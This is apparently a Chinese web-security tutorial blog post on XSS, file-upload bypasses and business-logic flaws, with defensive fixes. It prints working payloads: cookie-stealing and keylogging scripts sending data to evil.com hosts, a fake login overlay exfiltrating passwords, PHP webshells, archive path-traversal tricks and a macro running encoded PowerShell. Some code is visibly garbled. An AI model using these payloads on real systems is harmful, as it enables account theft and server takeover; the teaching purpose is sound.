2.6、Web漏洞挖掘实战(下):XSS、文件上传与逻辑漏洞深度解析

当SQL注入逐渐被重视,攻击者的目光转向了更隐蔽的业务逻辑层。

一、开篇:从"技术漏洞"到"逻辑漏洞"的思维转变

在上一篇文章中,我们探讨了SQL注入、命令注入等技术型漏洞。今天,我们将深入XSS跨站脚本攻击、文件上传漏洞 ,以及更隐蔽但危害巨大的业务逻辑漏洞

这些漏洞往往因为"看起来不那么技术"而被忽视,但实际上,它们正是现代Web应用面临的主要威胁。

真实案例警示

案例1:存储型XSS导致的内网沦陷

某大型企业办公系统存在存储型XSS漏洞,攻击者在公告板插入恶意脚本,窃取管理员cookie,最终获取整个内网控制权。

案例2:文件上传漏洞引发的供应链攻击

某知名CMS文件上传校验不严,攻击者上传webshell,进而篡改软件更新包,导致所有用户被植入后门。

案例3:逻辑越权导致的亿元损失

某金融平台存在平行越权,攻击者通过修改用户ID参数,可查看任意用户的投资记录和交易数据。

二、XSS跨站脚本攻击:前端的安全噩梦

2.1 XSS攻击原理与分类

XSS的本质是恶意脚本在受害者的浏览器中执行,核心问题在于"不可信数据的未充分过滤"。

// 一个典型的XSS攻击载荷

<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

反射型XSS:一次性攻击

攻击特征

  • 恶意脚本来自当前HTTP请求
  • 非持久化,需要诱骗用户点击特定链接
  • 通常通过邮件、即时消息传播

实战示例

存在漏洞的URL

https://vulnerable-site.com/search?q=\<script>alert('XSS')</script>

攻击者构造的恶意链接

https://vulnerable-site.com/search?q=\<script>document.location='http://evil.com/steal?cookie='+document.cookie\</script>

检测方法

# 使用Python requests库检测反射型XSS

import requests

def test_reflected_xss(url, param):

payloads = [

"<script>alert('XSS')</script>",

"<img src=x onerror=alert(1)>",

"'\"><script>alert('XSS')</script>"

]

for payload in payloads:

test_url = f"{url}?{param}={payload}"

response = requests.get(test_url)

if payload in response.text:

print(f"[!] 可能存在XSS漏洞: {payload}")

存储型XSS:持久化威胁

攻击特征

  • 恶意脚本被存储到服务器(数据库、文件等)
  • 所有访问受影响页面的用户都会执行恶意脚本
  • 危害更大,传播范围更广

常见攻击点

  • 用户评论、留言板
  • 个人资料页(用户名、签名)
  • 文件上传(HTML文件)
  • 站内消息系统

防御方案

运行

<!-- 服务端渲染时的防御 -->

<div>

{{ user_content | escape }}

</div>

<!-- 现代前端框架的自动防护 -->

// React默认转义

<div>{userContent}</div>

// Vue.js默认转义

<div v-html="userContent"></div> <!-- 危险! -->

<div>{{ userContent }}</div> <!-- 安全 -->

2.2 XSS攻击的进阶利用

窃取用户凭证

// 获取cookie并发送到攻击者服务器

var img = new Image();

img.src = 'http://evil-collector.com/steal?cookie=' + document.cookie;

// 捕获键盘记录

document.onkeypress = function(e) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'http://evil-collector.com/keylog', true);

xhr.send('key=' + e.key);

}

界面伪装攻击

运行

<!-- 伪造登录框窃取凭证 -->

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">

<div style="width:300px;margin:100px auto;background:white;padding:20px;">

<h3>会话已过期,请重新登录</h3>

<input type="text" id="username" placeholder="用户名">

<input type="password" id="password" placeholder="密码">

<button onclick="stealCredentials()">登录</button>

</div>

</div>

<script>

function stealCredentials() {

var username = document.getElementById('username').value;

var password = document.getElementById('password').value;

// 发送到攻击者服务器

fetch('http://evil.com/steal', {

method: 'POST',

body: JSON.stringify({user: username, pass: password})

});

// 可选:提交到真实登录接口避免用户怀疑

document.forms[0].submit();

}

</script>

三、文件上传漏洞:从功能到后门的蜕变

3.1 文件上传的常见绕过技巧

客户端校验绕过

漏洞代码

// 前端JavaScript校验(可轻易绕过)

function checkFile() {

var file = document.getElementById('file').value;

var ext = file.split('.').pop().toLowerCase();

if (['jpg', 'png', 'gif'].indexOf(ext) === -1) {

alert('只允许上传图片文件!');

return false;

}

return true;

}

绕过方法

# 1. 直接删除前端校验

# 浏览器开发者工具删除onsubmit事件

# 2. 使用Burp Suite拦截修改

# 修改Content-Type和文件后缀

# 3. 使用curl直接发送请求

curl -X POST -F "file=@shell.php" -F "submit=Upload" http://target.com/upload

服务端校验绕过

技巧1:文件类型混淆

POST /upload HTTP/1.1

Content-Type: multipart/form-data

------WebKitFormBoundary

Content-Disposition: form-data; name="file"; filename="shell.jpg"

Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

------WebKitFormBoundary--

技巧2:双重后缀攻击

shell.php.jpg

shell.php.png

shell.phtml

技巧3:NULL字节截断

shell.php%00.jpg

shell.asp::DATA

内容校验绕过

GIF文件头绕过

// 在PHP文件开头添加GIF文件头

GIF89a;

<?php system($_GET['cmd']); ?>

Exif数据注入

# 使用exiftool在图片元数据中插入PHP代码

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

mv image.jpg image.php.jpg

3.2 高级文件上传攻击

压缩包解压漏洞

攻击原理:解压程序未检查压缩包内文件路径

利用方法

# 创建包含路径遍历的压缩包

echo '<?php system($_GET["cmd"]); ?>' > shell.php

zip --symlinks evil.zip ../../../var/www/html/shell.php shell.php

# 或使用tar

tar -czf evil.tar.gz --transform 's,.*,../../var/www/html/shell.php,' shell.php

Office文档宏攻击

# 生成包含宏的恶意Word文档

from maldoc import OfficeDocument

doc = OfficeDocument('word')

doc.add_macro('''

Sub AutoOpen()

Shell "cmd /c powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdw..."

End Sub

''')

doc.save('malicious_doc.doc')

3.3 文件上传的全面防御方案

<?php

class SecureFileUpload {

private $allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];

private $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];

private $max_file_size = 2097152; // 2MB

private $upload_path = './uploads/';

public function upload($file) {

// 1. 检查文件大小

if (file\['size'\] \> this->max_file_size) {

throw new Exception('文件过大');

}

// 2. 检查文件扩展名

extension = strtolower(pathinfo(file['name'], PATHINFO_EXTENSION));

if (!in_array(extension, this->allowed_extensions)) {

throw new Exception('不支持的文件类型');

}

// 3. 检查MIME类型

$finfo = finfo_open(FILEINFO_MIME_TYPE);

mime_type = finfo_file(finfo, $file['tmp_name']);

finfo_close($finfo);

if (!in_array(mime_type, this->allowed_mime_types)) {

throw new Exception('非法的文件类型');

}

// 4. 重命名文件

new_filename = uniqid() . '.' . extension;

destination = this->upload_path . $new_filename;

// 5. 移动文件

if (!move_uploaded_file(file\['tmp_name'\], destination)) {

throw new Exception('文件上传失败');

}

// 6. 图片文件二次渲染

if (strpos($mime_type, 'image/') === 0) {

this-\>reprocess_image(destination);

}

return $new_filename;

}

private function reprocess_image($file_path) {

// 通过GD库重新生成图片,消除潜在恶意代码

image_info = getimagesize(file_path);

image_type = image_info[2];

switch ($image_type) {

case IMAGETYPE_JPEG:

image = imagecreatefromjpeg(file_path);

imagejpeg(image, file_path, 100);

break;

case IMAGETYPE_PNG:

image = imagecreatefrompng(file_path);

imagepng(image, file_path);

break;

case IMAGETYPE_GIF:

image = imagecreatefromgif(file_path);

imagegif(image, file_path);

break;

}

imagedestroy($image);

}

}

?>

四、业务逻辑漏洞:看不见的致命威胁

4.1 越权访问漏洞

平行越权(水平越权)

漏洞特征:用户A可以访问用户B的数据

测试用例

正常请求

GET /api/orders/12345 HTTP/1.1

Authorization: Bearer userA_token

攻击请求 - 修改订单ID

GET /api/orders/12346 HTTP/1.1

Authorization: Bearer userA_token

修复方案

# Django修复示例

class OrderDetailView(APIView):

def get(self, request, order_id):

try:

# 确保订单属于当前用户

order = Order.objects.get(id=order_id, user=request.user)

serializer = OrderSerializer(order)

return Response(serializer.data)

except Order.DoesNotExist:

return Response({'error': '订单不存在'}, status=404)

垂直越权(权限提升)

漏洞特征:普通用户可以执行管理员操作

攻击示例

普通用户尝试访问管理员接口

POST /api/admin/users/delete HTTP/1.1

Authorization: Bearer user_token

Content-Type: application/json

{"user_id": 123}

修复方案

// Spring Security修复示例

@PreAuthorize("hasRole('ADMIN')")

@DeleteMapping("/admin/users/{userId}")

public ResponseEntity<?> deleteUser(@PathVariable Long userId) {

userService.deleteUser(userId);

return ResponseEntity.ok().build();

}

4.2 密码重置漏洞

密码重置令牌泄露

漏洞代码

// 不安全的密码重置实现

// 前端直接显示重置令牌

$.get('/api/reset-token?email=user@example.com', function(response) {

$('#token').text(response.token); // 令牌暴露在页面

});

安全实现

# Django安全的重置流程

from django.core.mail import send_mail

from django.utils.crypto import get_random_string

def send_reset_email(user_email):

# 生成令牌并存储到数据库

token = get_random_string(50)

ResetToken.objects.create(email=user_email, token=token)

# 发送包含重置链接的邮件

reset_url = f"https://example.com/reset-password?token={token}"

send_mail(

'密码重置请求',

f'请点击链接重置密码: {reset_url}',

'noreply@example.com',

user_email\], fail_silently=False, ) **重置流程绕过** **攻击场景**: 1. 修改接收邮件的手机号/邮箱参数 2. 跳过验证步骤直接设置新密码 3. 暴力破解重置令牌 **防护措施**: class PasswordResetView(View): def post(self, request): token = request.POST.get('token') new_password = request.POST.get('new_password') try: reset_record = ResetToken.objects.get(token=token) *#* *检查令牌是否过期(1小时有效)* if reset_record.created_at \< timezone.now() - timedelta(hours=1): return JsonResponse({'error': '令牌已过期'}, status=400) *#* *更新密码并标记令牌为已使用* user = User.objects.get(email=reset_record.email) user.set_password(new_password) user.save() reset_record.delete() *#* *一次性令牌* return JsonResponse({'message': '密码重置成功'}) except ResetToken.DoesNotExist: return JsonResponse({'error': '无效的令牌'}, status=400) **4.3 业务逻辑绕过** **金额篡改攻击** **漏洞请求**: POST /api/payment HTTP/1.1 Content-Type: application/json { "product_id": "prod_001", "quantity": 1, "unit_price": 100.00, *//* *前端传递的价格* "total_amount": 100.00 } **攻击请求**: http 复制 下载 POST /api/payment HTTP/1.1 Content-Type: application/json { "product_id": "prod_001", "quantity": 1, "unit_price": 0.01, *//* *篡改价格* "total_amount": 0.01 *//* *篡改总金额* } **修复方案**: class PaymentView(APIView): def post(self, request): product_id = request.data.get('product_id') quantity = request.data.get('quantity') *#* *从数据库获取真实价格,不信任前端传递的价格* try: product = Product.objects.get(id=product_id) unit_price = product.price total_amount = unit_price \* quantity *#* *创建支付订单* order = Order.objects.create( product=product, quantity=quantity, unit_price=unit_price, total_amount=total_amount, user=request.user ) return Response({'order_id': order.id, 'amount': total_amount}) except Product.DoesNotExist: return Response({'error': '商品不存在'}, status=400) **竞争条件漏洞** **漏洞代码**: *# 优惠券使用的不安全实现* def use_coupon(user_id, coupon_code): coupon = Coupon.objects.get(code=coupon_code) if coupon.used: return False *#* *优惠券已使用* *#* *此处存在时间窗口,可能被并发利用* time.sleep(0.1) *#* *模拟处理时间* coupon.used = True coupon.user_id = user_id coupon.save() return True **修复方案**: *# 使用数据库事务和行锁* from django.db import transaction def use_coupon(user_id, coupon_code): with transaction.atomic(): *# SELECT FOR UPDATE* *锁定记录* coupon = Coupon.objects.select_for_update().get(code=coupon_code) if coupon.used: return False coupon.used = True coupon.user_id = user_id coupon.save() return True ### 五、自动化检测与工具使用 **5.1 XSS自动化检测** *# 使用XSStrike进行高级XSS检测* python xsstrike.py -u "https://target.com/search?q=test" *# 使用Burp Suite的Scanner模块* *# 1. 配置爬虫扫描目标* *# 2. 使用Active Scan进行深度检测* *# 3. 分析扫描报告中的XSS漏洞* **5.2 文件上传漏洞扫描** *# 自定义文件上传检测脚本* import requests def test_file_upload(target_url): malicious_files = { 'shell.php': '\', 'test.jpg.php': 'GIF89a;\', 'test.phtml': '\' } for filename, content in malicious_files.items(): files = {'file': (filename, content, 'image/jpeg')} response = requests.post(target_url, files=files) if response.status_code == 200: print(f"\[!\] 可能成功上传: {filename}") **5.3 业务逻辑漏洞检测** *# 越权访问检测脚本* import requests def test_idor(base_url, user_tokens): """检测平行越权漏洞""" for user_id in range(100, 110): for token in user_tokens: headers = {'Authorization': f'Bearer {token}'} response = requests.get(f'{base_url}/api/user/{user_id}', headers=headers) if response.status_code == 200: print(f"\[!\] 用户 {token\[:8\]}... 可能越权访问了用户 {user_id} 的数据") ### 六、防御体系构建 **6.1 安全开发生命周期** 需求阶段 → 威胁建模 → 安全设计 → 安全编码 → 安全测试 → 安全部署 → 安全监控 **6.2 具体防御措施总结** **XSS防御**: * 输入验证:白名单原则 * 输出编码:上下文相关编码(HTML、JS、URL) * 内容安全策略:CSP头 * HTTPOnly Cookie:防止cookie被窃取 **文件上传防御**: * 文件类型校验:扩展名 + MIME类型 + 文件头 * 重命名存储:避免直接使用用户文件名 * 隔离运行:上传文件在沙箱环境中处理 * 权限控制:上传目录无执行权限 **逻辑漏洞防御**: * 权限校验:每个操作前验证权限 * 业务规则服务端校验:不信任任何前端输入 * 操作日志:记录关键业务操作 * 代码审查:重点关注业务逻辑流程 ### 七、总结与展望 在本篇文章中,我们深入探讨了XSS、文件上传和业务逻辑漏洞的攻防技术。与SQL注入等技术型漏洞相比,这些漏洞更考验测试人员对**业务逻辑的理解** 和**攻击面的发现能力**。 **核心要点回顾**: 1. **XSS攻击**的本质是信任了不可信的输入,防御关键在于"不信任任何用户输入" 2. **文件上传漏洞**的绕过手段多样,需要多层次、深度的防护 3. **业务逻辑漏洞**危害巨大且难以发现,需要深入理解业务流程 **实战建议**: * 养成"攻击者思维",从异常角度审视系统 * 自动化工具与手动测试相结合 * 关注业务场景,理解每个功能的设计初衷 * 建立持续的安全测试和代码审查流程 随着Web技术的不断发展,新的攻击面也在不断涌现。在下一篇文章中,我们将探讨《内网横向移动技术详解》,了解攻击者在突破边界后如何在内网中扩大战果。

相关推荐
用户433845375693 小时前
Promise深度解析,以及简易版的手写实现
前端
梦之云3 小时前
state 状态相关
前端
梦之云3 小时前
effect 副作用相关
前端
golang学习记3 小时前
从0死磕全栈之Next.js 生产环境优化最佳实践
前端
Mintopia4 小时前
🧠 Next.js 还是 Nuxt.js?——当 JavaScript 碰上命运的分叉路
前端·后端·全栈
5pace4 小时前
Mac Nginx安装、启动、简单命令(苍穹外卖、黑马点评前端环境搭建)
java·前端·nginx·macos·tomcat
Learn Beyond Limits4 小时前
如何在Mac进行Safari网页长截图?
前端·macos·safari·方法·操作·功能·开发者平台
阿珊和她的猫4 小时前
深入剖析 Vue Router History 路由刷新页面 404 问题:原因与解决之道
前端·javascript·vue.js
IT_陈寒5 小时前
Vue3性能提升30%的秘密:5个90%开发者不知道的组合式API优化技巧
前端·人工智能·后端